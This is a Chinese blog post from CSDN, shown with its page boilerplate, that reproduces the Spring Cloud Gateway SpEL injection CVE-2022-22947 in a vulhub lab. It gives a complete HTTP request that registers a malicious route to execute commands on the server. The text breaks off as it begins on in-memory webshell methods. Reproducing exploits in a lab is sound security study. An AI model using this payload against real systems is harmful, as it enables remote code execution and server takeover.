Spring Cloud gateway 三种方式注入内存马(详细过程)

本文详述了在Spring Cloud Gateway中利用SPEL注入内存马的三种方法,包括c0ny1的Netty内存马、Spring内存马和哥斯拉马的实现过程。在复现过程中,作者强调了类路径的准确性、使用Java 1.8编译字节码以确保兼容性,并分享了相关资源链接。
摘要由CSDN通过智能技术生成

申明

  免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!

一:背景

     之前打攻防的时候,内网遇到了Spring Cloud gateway,照着网上的代码,一下午就是搞不定,当时由于时间紧,就放弃了(实际上是自己菜),现在闲下来, 用一下午时间把三种方式都复现成功了。这里记录下过程及坑点

二:过程

首先漏洞环境就是用的vulhub上面的 docker,连接在下面

https://vulhub.org/#/environments/spring/CVE-2022-22947/

docker启动后访问页面如下

 先来按照vulhub的payload 打一遍试试

首先注册一个路由,这个路由的值,用SpEL表达式执行代码

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.27.250.78:8080
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

 添加路由成功后,服务器返回201

 此时路由还未生效,我们需要刷新下路由

 刷新完路由,查看下路由列表,发现代码已经执行了

最后我们删除这条路由

 这样就算是完成了一次利用,每次执行命令都要注册路由,刷新路由,很是麻烦,下面根据网上的大佬们改造

1:首先当然是c0ny1的netty内存马

具体请看如下链接

Spring cloud gateway通过SPEL注入内存马 | 回忆飘如雪

我本地是起了一个springboot的maven项目好引入相关依赖,主要是下面这两个包


                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pyth0nn

送人玫瑰,手留余香

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值